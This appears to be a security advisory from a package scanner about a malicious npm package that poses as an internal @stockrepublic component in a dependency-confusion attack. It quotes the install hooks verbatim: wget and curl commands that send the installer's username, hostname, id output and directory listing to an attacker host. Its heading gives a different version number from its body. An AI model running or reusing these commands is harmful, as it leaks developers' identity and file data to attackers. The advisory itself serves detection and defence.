@stockrepublic/republic-components@100.0.0

Summary

The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on npm install: 1. package.json preinstall runs wget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc. 2. package.json install runs node index.js, which at index.js line 11 invokes execSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F file=@log.txt https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://o5i.cc/supp"), exfiltrating uid/gid output and a directory listing of the consumer's project. The inflated 99.0.0 version in a scoped namespace, combined with a cover-story description that does not match the code, is the canonical dependency-confusion pattern targeting an organization's private @stockrepublic registry. Any developer or CI system that pulls this public package by mistake leaks identity and filesystem metadata to attacker infrastructure.

Source: amazon-inspector (300b309644b646817c47a283d8b9aaa018e8ae0f59986207f55fd0c39dca872a)